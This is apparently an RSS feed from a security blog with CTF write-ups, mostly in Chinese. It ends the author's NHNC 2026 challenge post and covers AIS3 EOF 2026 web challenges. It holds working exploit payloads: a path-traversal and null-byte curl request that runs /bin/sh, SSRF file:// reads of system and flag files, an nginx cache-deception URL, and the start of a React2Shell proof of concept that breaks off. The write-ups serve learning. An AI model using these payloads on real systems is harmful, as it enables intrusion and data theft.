                mdpdf_err.put(e)

        t = threading.Thread(target=hold_mdpdf, daemon=True)
        t.start()

        if not slow_hit.wait(15):
            release_slow.set()

            if not mdpdf_err.empty():
                raise mdpdf_err.get()

            raise RuntimeError(&amp;quot;mdpdf never loaded /slow&amp;quot;)

        tpl = &amp;quot;/tmp/output/_temp.html&amp;quot;
        index = &amp;quot;https://solarfish.me/&amp;quot;

        print(f&amp;quot;[*] reusing template: {tpl}&amp;quot;)

        convert(
            base,
            &amp;quot;lite-pdf&amp;quot;,
            f&amp;quot;--no-hyphenate --template={tpl} {index}&amp;quot;,
        )

        release_slow.set()
        t.join(timeout=10)
        out = leaks.get(timeout=10)
        print(&amp;quot;[+] output:&amp;quot;)
        print(out, end=&amp;quot;&amp;quot; if out.endswith(&amp;quot;\n&amp;quot;) else &amp;quot;\n&amp;quot;)


if __name__ == &amp;quot;__main__&amp;quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, we just need to host it on our own server, run the exploit, and get the FLAG!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;NHNC{Farewell, my friend, promise me you won&amp;#39;t find another 0days next time.}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;After All&lt;/h2&gt;
&lt;p&gt;This was my first time creating a challenge for No Hack No CTF, and probably also the first time I’ve ever made a challenge for this many people to play!&lt;/p&gt;
&lt;p&gt;So first of all, I’d like to apologize! I’m still pretty inexperienced with a lot of things. For example, the challenge was originally supposed to have reCAPTCHA enabled. However, since the first challenge was blackbox and required some time for testing and exploration, I decided not to add it at first for the sake of player convenience.&lt;/p&gt;
&lt;p&gt;Unfortunately, even though we had already announced that the challenge did not require any fuzzing, some players still used scanner tools. This caused the challenge to spawn a huge of Chromium instances, and the Docker container kept exploding. In the end, I had to add reCAPTCHA to &lt;code&gt;#include&lt;/code&gt; challenge.&lt;/p&gt;
&lt;p&gt;Putting that aside, the core idea behind these challenges came from some research I did last year. I wanted to turn it into a more complete exploitation experience and definitely &lt;del&gt;not because I didn’t have enough challenge ideas&lt;/del&gt;.&lt;/p&gt;
&lt;p&gt;In an era where AI is everywhere, using AI during CTFs is pretty much inevitable. But at the same time, I still wanted players to actually learn something from the challenge. That’s why the first challenge was designed as a blackbox challenge.&lt;/p&gt;
&lt;p&gt;Once you obtain the source code, you can start working together with AI: analyze the code together, search for vulnerabilities together, and finally write the exploit together.&lt;/p&gt;
&lt;p&gt;I really like that kind of collaborative feeling, hehe.&lt;/p&gt;
&lt;p&gt;Anyway~ hope everyone had fun in this CTF :&amp;gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/nhnc2026/&quot;&gt;https://solarfish.me/blog/nhnc2026/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Mon, 06 Jul 2026 00:00:00 GMT</pubDate></item><item><title>AIS3 EOF QUAL 2026（Web）</title><link>https://solarfish.me/blog/ais3_eof_qual_2026/</link><guid isPermaLink="true">https://solarfish.me/blog/ais3_eof_qual_2026/</guid><description>打了一些 AIS3 EOF QUAL 2026 的 Web 題目</description><content:encoded>&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;Bun.PHP&lt;/h3&gt;
&lt;p&gt;主要的程式碼邏輯很短，簡單來說就是他會接收你想用 cgi run 起來的檔案，然後去把它跑起來。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;import { $ } from &amp;quot;bun&amp;quot;;
import { resolve } from &amp;quot;node:path&amp;quot;;

const server = Bun.serve({
    host: &amp;quot;0.0.0.0&amp;quot;,
    port: 1337,
    routes: {
        &amp;quot;/&amp;quot;: async req =&amp;gt; {
            return new Response(null, {
                status: 302,
                headers: { &amp;quot;Location&amp;quot;: &amp;quot;/cgi-bin/index.php&amp;quot; },
            });
        },

        &amp;quot;/cgi-bin/:filename&amp;quot;: async req =&amp;gt; {
            const filename = req.params.filename;
            if (!filename.endsWith(&amp;quot;.php&amp;quot;)) {
                return new Response(`404\n`, {
                    status: 404,
                    headers: { &amp;quot;Content-Type&amp;quot;: &amp;quot;text/plain&amp;quot; },
                });
            }

            const scriptPath = resolve(&amp;quot;cgi-bin/&amp;quot; + filename);
            const body = await req.blob();
            const shell = $`${scriptPath} &amp;lt; ${body}`
                .env({
                    REQUEST_METHOD: req.method,
                    QUERY_STRING: new URL(req.url).searchParams.toString(),
                    CONTENT_TYPE: req.headers.get(&amp;quot;content-type&amp;quot;) ?? &amp;quot;&amp;quot;,
                    CONTENT_LENGTH: body ? String(body.size) : &amp;quot;0&amp;quot;,
                    SCRIPT_FILENAME: scriptPath,
                    GATEWAY_INTERFACE: &amp;quot;CGI/1.1&amp;quot;,
                    SERVER_PROTOCOL: &amp;quot;HTTP/1.1&amp;quot;,
                    SERVER_SOFTWARE: &amp;quot;bun-php-server/0.1&amp;quot;,
                    REDIRECT_STATUS: &amp;quot;200&amp;quot;,
                })
                .nothrow();

            // PHP-CGI outputs headers + body separated by \r\n\r\n
            const output = await shell.text();
            const [rawHeaders, ...rest] = output.split(&amp;quot;\r\n\r\n&amp;quot;);
            const headers = new Headers();
            for (const line of rawHeaders.split(&amp;quot;\r\n&amp;quot;)) {
                const [k, v] = line.split(/:\s*/, 2);
                if (k &amp;amp;&amp;amp; v) headers.set(k, v);
            }

            const responseBody = rest.join(&amp;quot;\r\n\r\n&amp;quot;);
            return new Response(responseBody, { headers });
        },
    }
});

console.log(`listening on http://localhost:${server.port}`);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;filename 是我們可以控制的，可以看到這邊很明顯有個 path traversal&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const scriptPath = resolve(&amp;quot;cgi-bin/&amp;quot; + filename);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是說我們其實可以任意控制 &lt;code&gt;scriptPath&lt;/code&gt;
但是有一個白名單檢查，他會限制你的檔案只能是 .php 結尾，但這邊只要用 null byte 就能繞過了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;&amp;quot;/cgi-bin/:filename&amp;quot;: async req =&amp;gt; {
            const filename = req.params.filename;
            if (!filename.endsWith(&amp;quot;.php&amp;quot;)) {
                return new Response(`404\n`, {
                    status: 404,
                    headers: { &amp;quot;Content-Type&amp;quot;: &amp;quot;text/plain&amp;quot; },
});}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然後下兩行&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const body = await req.blob();
const shell = $`${scriptPath} &amp;lt; ${body}`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;會把你的 body 塞到 &lt;code&gt;scriptPath&lt;/code&gt;，所以我們其實就可以 &lt;code&gt;../&lt;/code&gt; 到 &lt;code&gt;/bin/sh&lt;/code&gt; 去執行我們的指令，最後組合起來就變這樣 （塞個 &lt;code&gt;\r\n\r\n&lt;/code&gt; 讓他從 body 打回來）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;exploit :&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -v --data-binary $&amp;#39;printf &amp;quot;\\r\\n\\r\\n&amp;quot;; /readflag give me the flag&amp;#39; &amp;quot;https://079a02d40b765778.chal.eof.133773.xyz:20001/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fbin%2Fsh%00.php&amp;quot;

EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;CookieMonster Viewer&lt;/h3&gt;
&lt;p&gt;是個黑箱題！先隨便戳戳看～
當我亂給 &lt;code&gt;/api/templates/meow&lt;/code&gt; 的時候會報錯誤訊息&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Template not found: [WinError 2] The system cannot find the file specified: &amp;#39;C:\\supersecureyouwillneverguessed\\templates/meow.html&amp;#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但目前看起來沒什麼用？但我們這邊還可以知道他是一台 windows！
然後來看看 &lt;code&gt;/api/preview&lt;/code&gt; 的功能&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;POST /api/preview HTTP/1.1
Host: chals2.eof.ais3.org:20918
Content-Length: 63
Accept-Language: zh-TW,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://chals2.eof.ais3.org:20918
Referer: http://chals2.eof.ais3.org:20918/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{&amp;quot;url&amp;quot;:&amp;quot;http://localhost/api/templates/lake&amp;quot;,&amp;quot;username&amp;quot;:&amp;quot;awda&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有個 url 參數？看起來很 ssrf！
用 &lt;code&gt;file://&lt;/code&gt; 協議讀個 win.ini 看看&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;{&amp;quot;url&amp;quot;:&amp;quot;file:///C:/Windows/win.ini&amp;quot;,&amp;quot;username&amp;quot;:&amp;quot;awda&amp;quot;}

HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:48:31 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 127
Connection: close

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[Ports]
COM1:=9600,n,8,1
COM2:=9600,n,8,1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好耶！那我們可以根據剛剛的路徑來讀原始碼看看！
有&lt;del&gt;通到&lt;/del&gt;找到 app.py 跟 dockerfile&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;app.py&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{&amp;quot;url&amp;quot;:&amp;quot;file:///C:/supersecureyouwillneverguessed/app.py&amp;quot;,&amp;quot;username&amp;quot;:&amp;quot;awda&amp;quot;}

HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:50:35 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1263
Connection: close

from flask import Flask, request, send_from_directory, send_file, render_template_string
import subprocess
import os

app = Flask(__name__, static_folder=&amp;#39;static&amp;#39;)

def get_os():
    import ctypes.wintypes
    v = ctypes.windll.kernel32.GetVersion()
    return f&amp;quot;Windows {v &amp;amp; 0xFF}.{(v &amp;gt;&amp;gt; 8) &amp;amp; 0xFF}&amp;quot;

class User:
    def __init__(self, name):
        self.name = name
    def __str__(self):
        return self.name

@app.route(&amp;#39;/&amp;#39;)
def index():
    with open(&amp;#39;static/index.html&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;) as f:
        return render_template_string(f.read(), os_info=get_os())

@app.route(&amp;#39;/api/preview&amp;#39;, methods=[&amp;#39;POST&amp;#39;])
def preview():
    data = request.get_json()
    url = data.get(&amp;#39;url&amp;#39;, &amp;#39;&amp;#39;)
    user = User(data.get(&amp;#39;username&amp;#39;, &amp;#39;Guest&amp;#39;))
    
    result = subprocess.run([r&amp;#39;.\lib\curl.exe&amp;#39;, url], capture_output=True, text=True, encoding=&amp;#39;utf-8&amp;#39;, errors=&amp;#39;replace&amp;#39;)
    content = result.stdout or result.stderr
    
    try:
        return content.format(user=user)
    except:
        return content

@app.route(&amp;#39;/api/templates/&amp;lt;name&amp;gt;&amp;#39;)
def get_template(name):
    try:
        return send_file(f&amp;#39;templates/{name}.html&amp;#39;)
    except Exception as e:
        return f&amp;#39;Template not found: {e}&amp;#39;, 404


if __name__ == &amp;#39;__main__&amp;#39;:
    app.run(host=&amp;#39;0.0.0.0&amp;#39;, port=80)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;dockerfile&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;{&amp;quot;url&amp;quot;:&amp;quot;file:///C:/supersecureyouwillneverguessed/dockerfile&amp;quot;,&amp;quot;username&amp;quot;:&amp;quot;awda&amp;quot;}

HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:51:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 811
Connection: close

FROM python:3.12-windowsservercore-ltsc2022

WORKDIR /supersecureyouwillneverguessed

COPY requirements.txt .
RUN python -m pip install --no-cache-dir -r requirements.txt

COPY . .

# First move the flag (while we have write access)
SHELL [&amp;quot;powershell&amp;quot;, &amp;quot;-Command&amp;quot;]
RUN $rand = -join ((65..90) + (97..122) | Get-Random -Count 16 | ForEach-Object {[char]$_}); Move-Item C:\supersecureyouwillneverguessed\flag.txt C:\flag-$rand.txt; attrib +R (Get-Item C:\flag-*.txt).FullName

# Then lock down permissions
SHELL [&amp;quot;cmd&amp;quot;, &amp;quot;/S&amp;quot;, &amp;quot;/C&amp;quot;]
RUN net user /add appuser &amp;amp;&amp;amp; \
    attrib +R C:\supersecureyouwillneverguessed\*.* /S &amp;amp;&amp;amp; \
    icacls C:\supersecureyouwillneverguessed /grant appuser:(OI)(CI)(RX) /T &amp;amp;&amp;amp; \
    icacls C:\supersecureyouwillneverguessed /deny appuser:(WD,AD,DC)

USER appuser
CMD [&amp;quot;python&amp;quot;, &amp;quot;app.py&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我們基本上可以得知要 rce 才能取得 flag 了！
然後 python 裏又有一個 format string 的漏洞在 &lt;code&gt;content.format(user=user)&lt;/code&gt;，另外我又想到這台竟然是 windows 應該會有 worstfit 的問題！
接著...
接著我就不會串了，雖然賽中有想到這兩個漏洞但我沒有想到要怎麼把它們結合在一起，最後是去讀 &lt;code&gt;C:\&lt;/code&gt; 的 index allocation 然後 flag 檔名就跑出來了，超酷！&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;{&amp;quot;url&amp;quot;:&amp;quot;file:///C:/:$I30:$INDEX_ALLOCATION&amp;quot;,&amp;quot;username&amp;quot;:&amp;quot;awda&amp;quot;}

HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:55:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 247
Connection: close

Boot
bootmgr
BOOTNXT
Documents and Settings
DumpStack.log.tmp
flag-sNfLDScBvoFbxYMQ.txt
inetpub
License.txt
Program Files
Program Files (x86)
ProgramData
Python
supersecureyouwillneverguessed
System Volume Information
Users
WcSandboxState
Windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最後去讀 flag &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;POST /api/preview HTTP/1.1
Host: chals2.eof.ais3.org:20918
Content-Length: 64
Accept-Language: zh-TW,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://chals2.eof.ais3.org:20918
Referer: http://chals2.eof.ais3.org:20918/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{&amp;quot;url&amp;quot;:&amp;quot;file:///C:/flag-sNfLDScBvoFbxYMQ.txt&amp;quot;,&amp;quot;username&amp;quot;:&amp;quot;awda&amp;quot;}

HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:56:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 47
Connection: close

EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我會想辦法補預期解回來的 &amp;gt;&amp;lt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;LinkoReco&lt;/h3&gt;
&lt;p&gt;又雙叒叕是黑箱題 （灰箱）
&lt;del&gt;於是我決定等提示出來才解這題&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;Hint1. &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Kurumi 手滑了不小心掉出了這份使用指南

1. Token 只有在使用者從 local 造訪的時候會顯示
2. 這個服務沒有正確 Token 傳入的時候不會回顯內容，只會告訴你 status code，所以有 token 會更方便使用系統
3. 眼睛睜大一點，你會發現伺服器其實有在記得一些東西，而背景圖片本來應該要被存到的...但這個功能被 ai 寫壞了，/static 的靜態檔案應該要被存到的，但是他們直接走 nginx 跑掉了
4. 在她做滲透測試的時候沒有也不需要 fuzzing / 利用 SSRF 去戳 php fpm service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hint2.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;map $request_uri $is_static {
    default 0;
    &amp;quot;~*^/static/.*\.(svg|png|jpg|jpeg|css)$&amp;quot; 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然後會有一個 web 頁面讓你去戳其他的網站，但沒有給 token 的話是只看得到 status code 的。
然後根據提示一，我們可以知道 token 要從 local 訪問才會顯示。
&lt;del&gt;然後提示二直接把打的方法告訴你了&lt;/del&gt;，可以看到 nginx 會對 /static 開頭以及特定附檔名進行快取，這時候我們拿一個 payload 讓這個 web 頁面去戳，然後我們再趕快去一次同樣的網址就可以看到 token 了！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 web 送&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;http://web/static/%2e%2e%2findex.php/meow.css
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;terminal 趕快去訪問一次&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;curl -v http://chals1.eof.ais3.org:19080/static/%2e%2e%2findex.php/meow.css -path-as-is

...
    textarea {min-height:100px; resize:vertical;}
    .col {flex:1 1 300px; min-width:220px;}
    .actions {text-align:right; margin-top:8px;}
    button {background:#1f8cff;color:white;padding:10px 16px;border-radius:8px;border:0;cursor:pointer;}
    .small-muted {font-size:12px;color:#666;margin-top:6px}
    .logo {max-width:120px; display:block; margin-bottom:12px;}
  &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
    &amp;lt;h1&amp;gt;接続テスト&amp;lt;/h1&amp;gt;
    &amp;lt;div class=&amp;quot;subtitle&amp;quot;&amp;gt;あなたのトークン: 200_OK_FROM_WA1NU7&amp;lt;/div&amp;gt; &amp;lt;!--- full access token display, local only ---&amp;gt;
    &amp;lt;form method=&amp;quot;post&amp;quot;&amp;gt;
      &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;col&amp;quot;&amp;gt;
          &amp;lt;label for=&amp;quot;url&amp;quot;&amp;gt;URL&amp;lt;/label&amp;gt;
          &amp;lt;input type=&amp;quot;text&amp;quot; id=&amp;quot;url&amp;quot; name=&amp;quot;url&amp;quot; placeholder=&amp;quot;https://example.com&amp;quot;&amp;gt;
        &amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;col&amp;quot;&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到 token 後我們去 fetch 的東西就會有回傳文字了！
題目其實還有給一個 docker-compose.yml &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-docker-compose&quot;&gt;version: &amp;#39;3&amp;#39;
services:
  web:
    image: nginx:latest
    ports:
      - &amp;quot;19080:80&amp;quot;
    volumes:
      - ./conf/default.conf:/etc/nginx/conf.d/default.conf
      - ./src:/var/www/html
    depends_on:
      - php

  php:
    image: php:7.4-fpm
    volumes:
      - ./src:/var/www/html
      - ./flag.txt:/etc/REDACTED_FILENAME.txt # yes, secret.

# static files should be well handled, but seems like only fpm serves it?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以得知 flag 是被掛載在 /etc 底下，但我們不知道檔名。
這時候一樣可以用 &lt;code&gt;file://&lt;/code&gt; 協議去讀一個檔案 &lt;code&gt;/proc/self/mounts&lt;/code&gt; 他會記錄掛載的一些資訊。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YFEXIRUO7Z4OCGQ5KL3WBOLW2A:/var/lib/docker/overlay2/l/XMKYSFOCJX2HFFGV5IWGSFNKNC:/var/lib/docker/overlay2/l/4UZP7SBGXDTFA5UEMMG2OXANJP:/var/lib/docker/overlay2/l/347ZPM3G26K5EFJKDYHUGZDECI:/var/lib/docker/overlay2/l/ZZLPILUDBPWY32C4UIIAF5R7IT:/var/lib/docker/overlay2/l/6W5E5MN7QKH4BHD4X7LZWC6HOI:/var/lib/docker/overlay2/l/YTSBFV7H3YYUBB7YS5EUSOWFJC:/var/lib/docker/overlay2/l/WICBG4ZBSBV7CT45DJAMGHSHLP:/var/lib/docker/overlay2/l/MJIHWQJHN5L5P6O4SMXNTOLZ7O:/var/lib/docker/overlay2/l/FKZ7U5ZEDQ4X3KYIKQHJ5HBOV6:/var/lib/docker/overlay2/l/QY3ZKXBKXVEPWDAASFA5C3Z6RN,upperdir=/var/lib/docker/overlay2/14db2463bbdada42229a3fd8cd7e5cff15002be83531ecbd650a38902acc15bf/diff,workdir=/var/lib/docker/overlay2/14db2463bbdada42229a3fd8cd7e5cff15002be83531ecbd650a38902acc15bf/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
/dev/sda1 /etc/ca7_f113.txt ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /etc/resolv.conf ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /etc/hostname ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /etc/hosts ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /var/www/html ext4 rw,relatime,discard,errors=remount-ro 0 0
proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到 &lt;code&gt;/etc/ca7_f113.txt&lt;/code&gt; 這個檔案，去把它讀出來就好！&lt;/p&gt;
&lt;p&gt;&lt;code&gt;EOF{たきな、スイーツ追加！それがないなら……修理？やらないから！}&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;EOF{たきな、スイーツ追加！それがないなら……修理？やらないから！}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3&gt;以大方空頭來啦！&lt;/h3&gt;
&lt;p&gt;要逆一下前端，但這部分我成為 AI 的奴隸了，我請他幫我逆向 XD&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;page-a5d5f48bdef4decb.js&lt;/code&gt; 中，用了 &lt;code&gt;function s(t,e){return t-=138,f()[t]}&lt;/code&gt; 這樣的函式來取得字串。&lt;/p&gt;
&lt;p&gt;然後他幫我寫出了一個 decode.js&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function p(){let t=[&amp;quot;YW5jZ&amp;quot;,&amp;quot;ZAS0A&amp;quot;,...,&amp;quot;的信仰不足&amp;quot;,&amp;quot;m:px-&amp;quot;];return(p=function(){return t})()}
!function(t,e){let i=I,s=t();for(;;)try{if(parseInt(i(891))/1*(parseInt(i(699))/2)+parseInt(i(945))/3+-parseInt(i(1289))/4*(parseInt(i(1147))/5)+-parseInt(i(1376))/6+parseInt(i(1387))/7+parseInt(i(849))/8*(parseInt(i(598))/9)+-parseInt(i(844))/10===741233)break;s.push(s.shift())}catch(t){s.push(s.shift())}}(p,0);

function I(t,e){return t-=336,p()[t]}

const T = I;

console.log(&amp;quot;T(1026):&amp;quot;, T(1026));
console.log(&amp;quot;T(1298):&amp;quot;, T(1298));
console.log(&amp;quot;T(912):&amp;quot;, T(912));
console.log(&amp;quot;B:&amp;quot;, T(1267) + T(1399) + T(1138) + T(469) + T(611));

// Print all strings to find potential Action IDs
const fs = require(&amp;#39;fs&amp;#39;);
let output = &amp;quot;&amp;quot;;
for (let i = 336; i &amp;lt; 336 + p().length; i++) {
    try {
        let val = I(i);
        output += i + &amp;quot;: &amp;quot; + val + &amp;quot;\n&amp;quot;;
    } catch (e) {}
}
fs.writeFileSync(&amp;#39;strings.txt&amp;#39;, output);
console.log(&amp;quot;Strings written to strings.txt&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;執行過後&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;soar@universe-3 EOF % node ./decode.js    
T(1026): /api/
T(1298): claim
T(912): POST
B: https://rpc.chainpipes.uk
Strings written to strings.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;連進去過後他說偵測到駭客，並且是用 middleware rewrite 的方式寫到 /error
&lt;img src=&quot;https://hackmd.io/_uploads/BkkrP_tXZe.png&quot; alt=&quot;image&quot;&gt;
但 &lt;code&gt;/api&lt;/code&gt; 的部分都能正常使用，但好像是假的，隨便 fuzz &lt;code&gt;/api/target&lt;/code&gt; 跟 &lt;code&gt;/api/claim&lt;/code&gt; 好像都蠻正常的。&lt;/p&gt;
&lt;p&gt;觀察一下他的 header&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl https://rpc.chainpipes.uk/ -I
HTTP/2 500 
date: Wed, 24 Dec 2025 14:24:41 GMT
content-type: text/html; charset=utf-8
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-middleware-rewrite: /error
cf-cache-status: DYNAMIC
report-to: {&amp;quot;group&amp;quot;:&amp;quot;cf-nel&amp;quot;,&amp;quot;max_age&amp;quot;:604800,&amp;quot;endpoints&amp;quot;:[{&amp;quot;url&amp;quot;:&amp;quot;https://a.nel.cloudflare.com/report/v4?s=xs%2FBBN7BCq%2FPzkWxRIEB3IKRfn5l%2FaPot8y5lsYIoHsvX5lDKQJL4xFLmyUTgCx068NXqVTJZ%2F8DQMpGJ5MtkSjzGJMTGz0YezZOp2vbqQ%3D%3D&amp;quot;}]}
nel: {&amp;quot;report_to&amp;quot;:&amp;quot;cf-nel&amp;quot;,&amp;quot;success_fraction&amp;quot;:0.0,&amp;quot;max_age&amp;quot;:604800}
server: cloudflare
cf-ray: 9b30c37a3946a9bb-TPE
alt-svc: h3=&amp;quot;:443&amp;quot;; ma=86400
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到有 next.js 我就想到最近很猛的漏洞 React2Shell (CVE-2025-55182)
去網路隨便載了一個 poc 來用之後。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;poc.py&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# /// script
# dependencies = [&amp;quot;requests&amp;quot;]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) &amp;gt; 1 else &amp;quot;http://localhost:3000&amp;quot;
EXECUTABLE = sys.argv[2] if len(sys.argv) &amp;gt; 2 else &amp;quot;id&amp;quot;

crafted_chunk = {
    &amp;quot;then&amp;quot;: &amp;quot;$1:__proto__:then&amp;quot;,
    &amp;quot;status&amp;quot;: &amp;quot;resolved_model&amp;quot;,
    &amp;quot;reason&amp;quot;: -1,
    &amp;quot;value&amp;quot;: &amp;#39;{&amp;quot;then&amp;quot;: &amp;quot;$B0&amp;quot;}&amp;#39;,
    &amp;quot;_response&amp;quot;: {
